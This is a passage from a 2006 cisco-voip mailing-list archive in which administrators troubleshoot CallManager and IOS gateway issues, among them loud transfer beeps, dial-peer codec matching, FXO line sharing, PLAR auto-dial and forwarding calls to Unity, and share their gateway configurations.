says for non-MGCP devices, if it's set to 200000, it will not play, but
it still plays.  This seems to be the best solution for me if it works.

I'm on H.323 gateways.  I've restarted my phone, but not the
CallManager.  Doesn't these clusterwide settings take effect
immediately?  Do I have a possible bug?

By the way, the beeps are LOUD.  Loud to the point where you have to
take the phone off your ear.

-----Original Message-----
From: Erick Bergquist [mailto:erickbe at yahoo.com]
Sent: Wednesday, February 15, 2006 2:22 PM
To: Wes Sisk; Stu Packett
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred

You can also adjust the "Tone on Hold Timer (sec)* "
timer under call manager service parameters. If you set this to 200000
the tone will be disabled.

--- Wes Sisk <wsisk at cisco.com> wrote:

> that looks reasonable.  any chance you can set OA=6 and test.  i
> suspect  the PSTN caller will faintly hear the IPPhone user with that
> config, but it will confirm we are going down the right path.
>
> /Wes
> On Feb 15, 2006, at 11:12 AM, Stu Packett wrote:
>
> Below are my settings on the H.323 gateway.
>
> voice-port 0/0/0:23
>   input gain -1
>   output attenuation 3
>   echo-cancel coverage 24
>   bearer-cap Speech
>
> From: Lelio Fulgenzi [mailto:lelio at uoguelph.ca]
> Sent: Wednesday, February 15, 2006 8:02 AM
> To: Wes Sisk; Stu Packett
> Cc: cisco-voip at puck.nether.net
> Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred
>
> Would this not also modify the volume of the voices themselves?
>
>
------------------------------------------------------------------------
>
> --------
> Lelio Fulgenzi, B.A.
> Network Analyst (CCS) * University of Guelph *
> Guelph, Ontario N1G 2W1
> (519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
>
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> "I had a coffee and Coke at lunch today...and now,
> I've got more
> jitter than an
> IP phone on a long haul 10base2
> connection"
>  LFJ
> ----- Original Message -----
> From: Wes Sisk
> To: Stu Packett
> Cc: cisco-voip at puck.nether.net
> Sent: Wednesday, February 15, 2006 9:39 AM
> Subject: Re: [cisco-voip] Callers Hear Beeps When
> Being Transferred
>
> Callmanager is simply gong to tell the gateway to
> play a tone.
> what is your output attenuation on your gateway set
> to?  this is the
> only thing I am aware of that would modify the
> loudness of the tone.
>
> /Wes
>
> On Feb 15, 2006, at 2:03 AM, Stu Packett wrote:
>
> CallManager 4.0(2a)sr2c
>
> I got strange one here.  One of my users complained
> that when he
> calls our main number and asks to be transferred to
> another employee,
> he hears two or three beeps when the receptionist
> transfers his
> call.  The problem isn't the beeps itself, but the
> loudness of the
> beeps.  I was able to duplicate this issue on my
> phones, but on my
> lab phones, it does not do that.
>
> Does anyone know where to find this "beep" setting
> when callers are
> transferred?
>
> Thanks in advance.
>
> IRS Circular 230  Disclosure:  To ensure compliance
> with requirements
> imposed by the IRS, we inform you that any U.S.
> federal tax advice in
> this communication (including attachments) is not
> intended or written
> by Fenwick & West LLP to be used, and cannot be
> used, for the purpose
> of (i) avoiding penalties under the Internal Revenue
> Code or (ii)
> promoting, marketing, or recommending to another
> party any
> transaction or matter addressed herein.
> ATTENTION:
> The information contained in this message may be
> legally privileged
> and confidential.  It is intended to be read only by
> the individual
> or entity to whom it is addressed or by their
> designee. If the reader
> of this message is not the intended recipient, you
> are on notice that
> any distribution of this message, in any form, is
> strictly prohibited.
> If you have received this message in error, please
> immediately notify
> the sender and/or Fenwick & West LLP by telephone at
> (650) 988-8500
> and delete or destroy any copy of this message.
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around
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--------------------------------------------------------

IRS Circular 230  Disclosure:  To ensure compliance with requirements  
imposed by the IRS, we inform you that any U.S. federal tax advice in  
this communication (including attachments) is not intended or written  
by Fenwick & West LLP to be used, and cannot be used, for the purpose  
of (i) avoiding penalties under the Internal Revenue Code or (ii)  
promoting, marketing, or recommending to another party any  
transaction or matter addressed herein.
--------------------------------------------------------

ATTENTION:
The information contained in this message may be legally privileged  
and confidential.  It is intended to be read only by the individual  
or entity to whom it is addressed or by their designee. If the reader  
of this message is not the intended recipient, you are on notice that  
any distribution of this message, in any form, is strictly prohibited.

If you have received this message in error, please immediately notify  
the sender and/or Fenwick & West LLP by telephone at (650) 988-8500  
and delete or destroy any copy of this message.


From jonvoip at gmail.com  Wed Feb 15 19:38:55 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Wed Feb 15 19:39:00 2006
Subject: [cisco-voip] VTSP States
Message-ID: <5d093f9a0602151638v1fe3925ai81c923348b3dc947@mail.gmail.com>

I have been looking for a list of VTSP states for FXO/FXS ports...

Such as S_CONNECT et al...

Does anyone know if such a complete listing exists?




Jonathan
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From erickbe at yahoo.com  Wed Feb 15 20:49:27 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Wed Feb 15 20:49:35 2006
Subject: [cisco-voip] Callers Hear Beeps When Being Transferred
In-Reply-To: <965C0255FD5828438E34F9A68ECA76E740AAC2@svcexch02.firm.fenwick.llp>
Message-ID: <20060216014927.59629.qmail@web34314.mail.mud.yahoo.com>

Are they hearing 3-quick beeps or one beep? With tone
on hold (before adjusting any timers) when putting
someone on hold it plays 3 quick beeps when the hold
is initiated then beeps every x seconds (10 by
default). 

Maybe this tone is coming from somewhere else???

Have you tried IP phone to IP Phone, and same thing
happens? If you're not using MOH anywhere then this
may show same symptons. Is user hold and network hold
set to same setting? If so then putting someone on
hold should be same as a transfer where network hold
kicks in until transfer is done.

--- Stu Packett <SPackett at fenwick.com> wrote:

> I tried setting the output attenuation to 6 and that
> did not seem to
> help.  I also changed the Tone on Hold Timer to
> 200000 and 0, but it
> kept playing every 10 seconds.  The Tone on Hold
> Timer documentation
> says for non-MGCP devices, if it's set to 200000, it
> will not play, but
> it still plays.  This seems to be the best solution
> for me if it works.
> 
> I'm on H.323 gateways.  I've restarted my phone, but
> not the
> CallManager.  Doesn't these clusterwide settings
> take effect
> immediately?  Do I have a possible bug?
> 
> By the way, the beeps are LOUD.  Loud to the point
> where you have to
> take the phone off your ear. 
> 
> -----Original Message-----
> From: Erick Bergquist [mailto:erickbe at yahoo.com] 
> Sent: Wednesday, February 15, 2006 2:22 PM
> To: Wes Sisk; Stu Packett
> Cc: cisco-voip at puck.nether.net
> Subject: Re: [cisco-voip] Callers Hear Beeps When
> Being Transferred
> 
> You can also adjust the "Tone on Hold Timer (sec)* "
> timer under call manager service parameters. If you
> set this to 200000
> the tone will be disabled. 
> 
> --- Wes Sisk <wsisk at cisco.com> wrote:
> 
> > that looks reasonable.  any chance you can set
> OA=6 and test.  i 
> > suspect  the PSTN caller will faintly hear the
> IPPhone user with that 
> > config, but it will confirm we are going down the
> right path.
> > 
> > /Wes
> > On Feb 15, 2006, at 11:12 AM, Stu Packett wrote:
> > 
> > Below are my settings on the H.323 gateway.
> > 
> > voice-port 0/0/0:23
> >   input gain -1
> >   output attenuation 3
> >   echo-cancel coverage 24
> >   bearer-cap Speech
> > 
> > From: Lelio Fulgenzi [mailto:lelio at uoguelph.ca]
> > Sent: Wednesday, February 15, 2006 8:02 AM
> > To: Wes Sisk; Stu Packett
> > Cc: cisco-voip at puck.nether.net
> > Subject: Re: [cisco-voip] Callers Hear Beeps When
> Being Transferred
> > 
> > Would this not also modify the volume of the
> voices themselves?
> > 
> >
>
------------------------------------------------------------------------
> > 
> > --------
> > Lelio Fulgenzi, B.A.
> > Network Analyst (CCS) * University of Guelph *
> > Guelph, Ontario N1G 2W1
> > (519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
> >
>
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> > "I had a coffee and Coke at lunch today...and now,
> > I've got more  
> > jitter than an
> > IP phone on a long haul 10base2  
> > connection"                                       
>  
> >  LFJ
> > ----- Original Message -----
> > From: Wes Sisk
> > To: Stu Packett
> > Cc: cisco-voip at puck.nether.net
> > Sent: Wednesday, February 15, 2006 9:39 AM
> > Subject: Re: [cisco-voip] Callers Hear Beeps When
> > Being Transferred
> > 
> > Callmanager is simply gong to tell the gateway to
> > play a tone.
> > what is your output attenuation on your gateway
> set
> > to?  this is the  
> > only thing I am aware of that would modify the
> > loudness of the tone.
> > 
> > /Wes
> > 
> > On Feb 15, 2006, at 2:03 AM, Stu Packett wrote:
> > 
> > CallManager 4.0(2a)sr2c
> > 
> > I got strange one here.  One of my users
> complained
> > that when he  
> > calls our main number and asks to be transferred
> to
> > another employee,  
> > he hears two or three beeps when the receptionist
> > transfers his  
> > call.  The problem isn't the beeps itself, but the
> > loudness of the  
> > beeps.  I was able to duplicate this issue on my
> > phones, but on my  
> > lab phones, it does not do that.
> > 
> > Does anyone know where to find this "beep" setting
> > when callers are  
> > transferred?
> > 
> > Thanks in advance.
> > 
> > IRS Circular 230  Disclosure:  To ensure
> compliance
> > with requirements  
> > imposed by the IRS, we inform you that any U.S.
> > federal tax advice in  
> > this communication (including attachments) is not
> > intended or written  
> > by Fenwick & West LLP to be used, and cannot be
> > used, for the purpose  
> > of (i) avoiding penalties under the Internal
> Revenue
> > Code or (ii)  
> > promoting, marketing, or recommending to another
> > party any  
> > transaction or matter addressed herein.
> > ATTENTION:
> > The information contained in this message may be
> > legally privileged  
> > and confidential.  It is intended to be read only
> by
> > the individual  
> > or entity to whom it is addressed or by their
> > designee. If the reader  
> > of this message is not the intended recipient, you
> > are on notice that  
> > any distribution of this message, in any form, is
> > strictly prohibited.
> > If you have received this message in error, please
> > immediately notify  
> > the sender and/or Fenwick & West LLP by telephone
> at
> > (650) 988-8500  
> > and delete or destroy any copy of this message.
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> > 
> > 
> > 
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> > 
> > 
> > > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> > 
> 
> 
> __________________________________________________
> Do You Yahoo!?
> Tired of spam?  Yahoo! Mail has the best spam
> protection around 
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>
--------------------------------------------------------
> 
> IRS Circular 230  Disclosure:  To ensure compliance
> with requirements imposed by the IRS, we inform you
> that any U.S. federal tax advice in this
> communication (including attachments) is not
> intended or written by Fenwick & West LLP to be
> used, and cannot be used, for the purpose of (i)
> avoiding penalties under the Internal Revenue Code
> or (ii) promoting, marketing, or recommending to
> another party any transaction or matter addressed
> herein.
>
--------------------------------------------------------
> 
> ATTENTION:
> The information contained in this message may be
> legally privileged and confidential.  It is intended
> to be read only by the individual or entity to whom
> it is addressed or by their designee. If the reader
> of this message is not the intended recipient, you
> are on notice that any distribution of this message,
> in any form, is strictly prohibited.
>  
> If you have received this message in error, please
> immediately notify the sender and/or Fenwick & West
> LLP by telephone at (650) 988-8500 and delete or
> destroy any copy of this message.
> 


__________________________________________________
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Tired of spam?  Yahoo! Mail has the best spam protection around 
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From Aaron.Derooy at xerox.com  Wed Feb 15 21:51:11 2006
From: Aaron.Derooy at xerox.com (DeRooy, Aaron H)
Date: Wed Feb 15 21:52:06 2006
Subject: [cisco-voip] Codec g728r8 on a POTS PEER?
Message-ID: <E0EF33751DEA634DA817A51024A8E3F205C3C735@usa0300ms01.na.xerox.net>

Inbound call over PRI to IP phone, hits h323 g/w and get immediate dial
tone on the land line phone and IP phone doesn't ring. 

I made this break by removing the "incoming called -number . " on peer
91(its shown with icn below). With that statement in peer 91, calls go
right thru to CCM and IP phone.

Show voice call active bri is below. It shows only one of the usual pair
of endpoints. Where does it get a codec (g729r8 pri-ietf)? Can't be from
the config cause there's no code command on pots peers. 

Is the failure for the call to find the VoIP peer a result of the codec
miss match? And can anyone explain why it matches 97 in the first place
and not 91?
 


"from show voice all active bri"

30BD : 1201385118hs.12029 +-1 +386 pid:97 Answer 5852333001
 dur 00:00:00 tx:0/0 rx:0/0 10  (normal call clearing.)
 Telephony 1/1:23:12029: tx:0/0/0ms g729r8 pre-ietf noise:0dBm acom:0dBm

"H323 ios g/w config"

dial-peer voice 97 pots
 destination-pattern 9......
 port 1/1:23
 prefix 9
!
dial-peer voice 3 voip
 huntstop
 incoming called-number .
 destination-pattern .
 session target ipv4:10.168.0.20
 dtmf-relay h245-alphanumeric
 codec g711ulaw
 ip precedence 5
 no vad
!
dial-peer voice 91 pots
 incoming called-number .
 destination-pattern 91800.......
 direct-inward-dial
 port 1/1:23
 forward-digits 10
 prefix 91





Aaron H. DeRooy 





From pwalenta at wi.rr.com  Wed Feb 15 22:14:36 2006
From: pwalenta at wi.rr.com (Philip Walenta)
Date: Wed Feb 15 22:14:42 2006
Subject: [cisco-voip] Codec g728r8 on a POTS PEER?
In-Reply-To: <E0EF33751DEA634DA817A51024A8E3F205C3C735@usa0300ms01.na.xerox.net>
Message-ID: <200602160314.k1G3EXo9015905@ms-smtp-01.rdc-kc.rr.com>

Going on memory here....

If you have a PRI or CAS T1 and you don't have an incoming called number or
direct-inward-dial statement, the call is temporarily placed on a pots port.
Since no audio is terminated, the call by default uses that codec. 

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of DeRooy, Aaron H
Sent: Wednesday, February 15, 2006 8:51 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Codec g728r8 on a POTS PEER?

Inbound call over PRI to IP phone, hits h323 g/w and get immediate dial tone
on the land line phone and IP phone doesn't ring. 

I made this break by removing the "incoming called -number . " on peer
91(its shown with icn below). With that statement in peer 91, calls go right
thru to CCM and IP phone.

Show voice call active bri is below. It shows only one of the usual pair of
endpoints. Where does it get a codec (g729r8 pri-ietf)? Can't be from the
config cause there's no code command on pots peers. 

Is the failure for the call to find the VoIP peer a result of the codec miss
match? And can anyone explain why it matches 97 in the first place and not
91?
 


"from show voice all active bri"

30BD : 1201385118hs.12029 +-1 +386 pid:97 Answer 5852333001  dur 00:00:00
tx:0/0 rx:0/0 10  (normal call clearing.)  Telephony 1/1:23:12029:
tx:0/0/0ms g729r8 pre-ietf noise:0dBm acom:0dBm

"H323 ios g/w config"

dial-peer voice 97 pots
 destination-pattern 9......
 port 1/1:23
 prefix 9
!
dial-peer voice 3 voip
 huntstop
 incoming called-number .
 destination-pattern .
 session target ipv4:10.168.0.20
 dtmf-relay h245-alphanumeric
 codec g711ulaw
 ip precedence 5
 no vad
!
dial-peer voice 91 pots
 incoming called-number .
 destination-pattern 91800.......
 direct-inward-dial
 port 1/1:23
 forward-digits 10
 prefix 91





Aaron H. DeRooy 




_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From netwirker at gmail.com  Thu Feb 16 02:05:51 2006
From: netwirker at gmail.com (netwirker)
Date: Thu Feb 16 02:05:55 2006
Subject: [cisco-voip] hunt line problem
Message-ID: <43f4244e.0cf2268f.4738.51c2@mx.gmail.com>

Hi guys,

I'm using hunt line in CCM4.1. Hunt line number is Unity pilot number.
When incoming calls from PSTN send to Hunt line number, call forward to
Unity auto attendant. When I make a call from PSTN I should get Unity attendant
voice prompt. But some time I just got ring tone and nobody answer the phone.
Do you guys have any idea why call just got ring tone instead of reach auto  
attendant. This problem bother quite long time.

Thanks a lot!

Andrew   


From Nick.Kassel at Charles-Stanley.co.uk  Thu Feb 16 02:48:47 2006
From: Nick.Kassel at Charles-Stanley.co.uk (Nick Kassel)
Date: Thu Feb 16 02:48:58 2006
Subject: [cisco-voip] Analog line / FXO Port issues
Message-ID: <253FAE7A06B11B49A3A29770B2B8BAFC64821A@CSEXCH01.charles-stanley.co.uk>

Thanks Wes, 

 

yes we have the voip dialpeer pointing to the call manager and we have
shared lines on the phones, what we are unsure about is due to these 4
lines being multi auxiliary anaolgue lines with one number, how we set
up the other lines. Do we have all 4 of the voice ports pointing to the
one connection plar 86820 and then just one voip dialpeer pointing to
the call manager serving all 4 lines. If that is the case would you say
that out config below except for the dialpeer voice 2  voip is correct?

 

Regards

 

Nick  

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Wes Sisk
Sent: Wednesday, February 15, 2006 5:47 PM
To: James Dust
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Analog line / FXO Port issues

 

FXO prevents you from receiving called party number from the PSTN, so
you have to PLAR each of those lines.

 

looks like your VOIP dial-peer is pointing to an h323 destination, CM?

 

once the gateway sends the h323 call setup to CM, you can choose how you
want the call routed in CM. you can: 

configure the destination number as a shared lines on all phones with
max calls=4 on the phone

configure the destiantion number as a hunt pilot to a huntlist to a
linegroup of all the desired destination lines and ring broadcast,
longest idle, etc.

 

/Wes

 

 

On Feb 15, 2006, at 11:23 AM, James Dust wrote:

 

Can anyone help us with this as we are no further forward.

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Nick Kassel
Sent: 10 February 2006 14:24
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Analog line / FXO Port issues

We are currently trying to set up one of our small remote sites
utilising there 4 existing analogue lines, which have one number spread
across them, we are a using a 4 port vic2-4fxo card in a 1760. We can
make outgoing and incoming calls but are having issues with multiple
incoming calls, we would like each phone to have just the one shared DN
86820 but can't seem to get it to work so have been playing about with
the voiceport and dialpeer configuration by adding another number to
connection plar and on line 2 on the phones, please can any one help out
with the correct way to set it up, below is our current config so far.

 

 

    !

voice-port 1/0

 supervisory disconnect anytone

 signal groundStart

 output attenuation -4

 cptone GB

 connection plar 86820

 impedance complex2

 description Wimborne Main Line

!

voice-port 1/1

 supervisory disconnect anytone

 signal groundStart

 output attenuation -4

 cptone GB

 connection plar 86821

 impedance complex2

 description Wimborne Main Line 2

!

voice-port 1/2

 supervisory disconnect anytone

 signal groundStart

 output attenuation -4

 cptone GB

 connection plar 86820

 impedance complex2

 description Wimborne Main Line 3

!

voice-port 1/3

 supervisory disconnect anytone

 signal groundStart

 output attenuation -4

 cptone GB

 connection plar 86820

 impedance complex2

 description Wimborne Main Line 4

!

no mgcp package-capability res-package

no mgcp package-capability fxr-package

no mgcp timer receive-rtcp

!

!

!

!

dial-peer voice 1 voip

 preference 1

 destination-pattern 86820

 progress_ind setup enable 3

 session target ipv4:172.30.0.2

 dtmf-relay h245-alphanumeric

 no vad

!

dial-peer voice 20 pots

 preference 8

 destination-pattern 9.T

 port 1/3

!

dial-peer voice 21 pots

 preference 9

 destination-pattern 9.T

 port 1/2

!

dial-peer voice 22 pots

 preference 10

 destination-pattern 9.T

 port 1/1

!

dial-peer voice 2 voip

 preference 2

 destination-pattern 86820

 progress_ind setup enable 3

 session target ipv4:172.30.0.2

 dtmf-relay h245-alphanumeric

 no vad

 

 

Regards

 

Nick   

 


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Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles
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Authorised and Regulated by the Financial Services Authority, Member of
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This footnote also confirms that this email message has been swept by
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************************************************************************
***********************

The information contained in this e-mail is strictly confidential, some
or all
of which may be legally privileged. It is for the intended recipient
only.
Access to this e-mail by any other person is prohibited. If you are not
the
intended recipient, any use, disclosure, copying, printing, distribution
of,
replying to or any action taken or omitted to be taken in reliance on
this
e-mail, is prohibited and may be unlawful. Please contact the sender
immediately
should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the
time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept that
there
may be a delay in processing the instructions received from e-mails
after
Charles Stanley has received them. You are advised that urgent, time
sensitive
and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************
************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles
Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of
the
London Stock Exchange, International Securities Markets Association, and
The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by
McAfee
VirusScan and SurfControl Email Filter software.

_______________________________________________

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cisco-voip at puck.nether.net

https://puck.nether.net/mailman/listinfo/cisco-voip

 

***********************************************************************************************

The information contained in this e-mail is strictly confidential, some or all
of which may be legally privileged. It is for the intended recipient only.
Access to this e-mail by any other person is prohibited. If you are not the
intended recipient, any use, disclosure, copying, printing, distribution of,
replying to or any action taken or omitted to be taken in reliance on this
e-mail, is prohibited and may be unlawful. Please contact the sender immediately
should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept that there
may be a delay in processing the instructions received from e-mails after
Charles Stanley has received them. You are advised that urgent, time sensitive
and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of the
London Stock Exchange, International Securities Markets Association, and The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by McAfee
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From kfedor at amt.ru  Thu Feb 16 05:26:55 2006
From: kfedor at amt.ru (Fedorov, Konstantin)
Date: Thu Feb 16 05:27:06 2006
Subject: [cisco-voip] Auto dial number (hot phone)
Message-ID: <8B5577ED1D5D2F4AA0E4651EC41C6DC70633DFDB@amthqex01.amt.ru>

Hello.

 

I couldn't find link, but this is easy.

 

Place the phone to the partition. For example  PRT_PLAR

Create Translation Pattern with empty "translation pattern"  but in the 

Called party transform mask - you plar number  ( UNITY call handler
number)

Assign this TP to the PRT_PLAR

 

  _____  

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Voll, Scott
Sent: Thursday, February 16, 2006 3:01 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Auto dial number (hot phone)

 

OK-

 

I'm sure it's been asked but can someone send me a link.

 

If I have a phone and you want it to dial a number soon as it's off
hook, how do you do this.  If I have a phone in conference rooms I want
it to dial a call handler on Unity and then press number for the
different departments.

 

I think PLAR is the way I do it on a router, but what about a normal IP
Phone?

 

Scott

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From akoul at dataways.gr  Thu Feb 16 05:52:20 2006
From: akoul at dataways.gr (Anthony Kouloglou)
Date: Thu Feb 16 05:52:53 2006
Subject: [cisco-voip] Forward calls to Unity when device gets Unregistered
Message-ID: <43F45964.5010405@dataways.gr>

Hi all,
is there a way for a call manager to be aware of the state of one phone, 
so it can forward the calls to Unity -voice mail.
In that case , when someone logs in to the device with extension 
mobility, and the old device/number does not exist, it can forward the 
calls to Voice mail.

Thanks

From akoul at dataways.gr  Thu Feb 16 08:33:24 2006
From: akoul at dataways.gr (Anthony Kouloglou)
Date: Thu Feb 16 08:33:58 2006
Subject: [cisco-voip] Forward calls to Unity when device gets Unregistered
In-Reply-To: <FF5F9DB1ADC7BB42BFC2C6C1F6638F052D7402@HQEXCHVS1.DC.howrey.net>
References: <FF5F9DB1ADC7BB42BFC2C6C1F6638F052D7402@HQEXCHVS1.DC.howrey.net>
Message-ID: <43F47F24.90500@dataways.gr>

Steve,
have you searched for this feature also? From your answer, i assume that 
there is no way of this thing to happen in the future!!Though it would 
be great!! The customer keeps loosing the calls to the directory number 
that no longer exists.
It would be great if i could assign the old directory number as a shared 
line to the device profile but with different calling search space and 
partition.
Is this possible?

Anthony

Miller, Steve W. wrote:

>Please let me know when you find out!
>
>Steve W. Miller
>Telecom Engineer
>HOWREY, LLP
>1299 Pennsylvania Avenue, NW
>B3 Level  - Office IT103
>Washington, DC 20004
>202-383-6949
>
>-----Original Message-----
>From: cisco-voip-bounces at puck.nether.net
>[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Anthony
>Kouloglou
>Sent: Thursday, February 16, 2006 5:52 AM
>To: cisco-voip at puck-nether.net
>Subject: [cisco-voip] Forward calls to Unity when device gets
>Unregistered
>
>Hi all,
>is there a way for a call manager to be aware of the state of one phone,
>
>so it can forward the calls to Unity -voice mail.
>In that case , when someone logs in to the device with extension 
>mobility, and the old device/number does not exist, it can forward the 
>calls to Voice mail.
>
>Thanks
>_______________________________________________
>cisco-voip mailing list
>cisco-voip at puck.nether.net
>https://puck.nether.net/mailman/listinfo/cisco-voip
>
>-------------------------------------------------------------------------------------------------
>This email and any attachments contain information from the law firm of Howrey LLP, which may be confidential and/or privileged. 
>The information is intended to be for the use of the individual or entity named on this email. 
>If you are not the intended recipient, be aware that any disclosure, copying, distribution or use of the contents of this email is prohibited. 
>If you receive this email in error, please notify us by reply email immediately so that we can arrange for the retrieval of the original documents at no cost to you.
>
>
>  
>

From lelio at uoguelph.ca  Thu Feb 16 08:44:08 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Thu Feb 16 08:44:11 2006
Subject: [cisco-voip] Forward calls to Unity when device gets Unregistered
References: <43F45964.5010405@dataways.gr>
Message-ID: <001401c632ff$101c0980$c801a8c0@deadfish>

We have not tried EM with 3.3(4), but if I unplug a phone it does follow the forwarding targets (which order I can't exactly remember). I would hope it would have been the same when a DN becomes unavailable after EM login.

What version of CallManager are you using? I recall that CallManager handled things differently in future versions.

  ----- Original Message ----- 
  From: Anthony Kouloglou 
  To: cisco-voip at puck-nether.net 
  Sent: Thursday, February 16, 2006 5:52 AM
  Subject: [cisco-voip] Forward calls to Unity when device gets Unregistered


  Hi all,
  is there a way for a call manager to be aware of the state of one phone, 
  so it can forward the calls to Unity -voice mail.
  In that case , when someone logs in to the device with extension 
  mobility, and the old device/number does not exist, it can forward the 
  calls to Voice mail.

  Thanks
  _______________________________________________
  cisco-voip mailing list
  cisco-voip at puck.nether.net
  https://puck.nether.net/mailman/listinfo/cisco-voip
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From rratliff at cisco.com  Thu Feb 16 09:50:34 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Thu Feb 16 09:50:29 2006
Subject: [cisco-voip] Codec g728r8 on a POTS PEER?
In-Reply-To: <200602160314.k1G3EXo9015905@ms-smtp-01.rdc-kc.rr.com>
References: <200602160314.k1G3EXo9015905@ms-smtp-01.rdc-kc.rr.com>
Message-ID: <8DEA6632-705E-4B98-A60E-15322FFD62C8@cisco.com>

Any call incoming to a router hits an inbound dial-peer and outbound  
dial-peer.  The 'incoming called-number .' command simply allows you  
to determine which dial-peer is matched on the inbound side.  There  
is a default pots dial-peer that all of your analog/isdn/t1 calls  
will hit if no other pots dial-peer is a better match on the inbound  
side.   Since there is nothing configured on the default dial-peer  
(and it's hidden) you get the default codec.

-Ryan

On Feb 15, 2006, at 10:14 PM, Philip Walenta wrote:

Going on memory here....

If you have a PRI or CAS T1 and you don't have an incoming called  
number or
direct-inward-dial statement, the call is temporarily placed on a  
pots port.
Since no audio is terminated, the call by default uses that codec.

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of DeRooy, Aaron H
Sent: Wednesday, February 15, 2006 8:51 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Codec g728r8 on a POTS PEER?

Inbound call over PRI to IP phone, hits h323 g/w and get immediate  
dial tone
on the land line phone and IP phone doesn't ring.

I made this break by removing the "incoming called -number . " on peer
91(its shown with icn below). With that statement in peer 91, calls  
go right
thru to CCM and IP phone.

Show voice call active bri is below. It shows only one of the usual  
pair of
endpoints. Where does it get a codec (g729r8 pri-ietf)? Can't be from  
the
config cause there's no code command on pots peers.

Is the failure for the call to find the VoIP peer a result of the  
codec miss
match? And can anyone explain why it matches 97 in the first place  
and not
91?



"from show voice all active bri"

30BD : 1201385118hs.12029 +-1 +386 pid:97 Answer 5852333001  dur  
00:00:00
tx:0/0 rx:0/0 10  (normal call clearing.)  Telephony 1/1:23:12029:
tx:0/0/0ms g729r8 pre-ietf noise:0dBm acom:0dBm

"H323 ios g/w config"

dial-peer voice 97 pots
  destination-pattern 9......
  port 1/1:23
  prefix 9
!
dial-peer voice 3 voip
  huntstop
  incoming called-number .
  destination-pattern .
  session target ipv4:10.168.0.20
  dtmf-relay h245-alphanumeric
  codec g711ulaw
  ip precedence 5
  no vad
!
dial-peer voice 91 pots
  incoming called-number .
  destination-pattern 91800.......
  direct-inward-dial
  port 1/1:23
  forward-digits 10
  prefix 91





Aaron H. DeRooy




_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From akoul at dataways.gr  Thu Feb 16 09:53:49 2006
From: akoul at dataways.gr (Anthony Kouloglou)
Date: Thu Feb 16 09:54:24 2006
Subject: [cisco-voip] Forward calls to Unity when device gets Unregistered
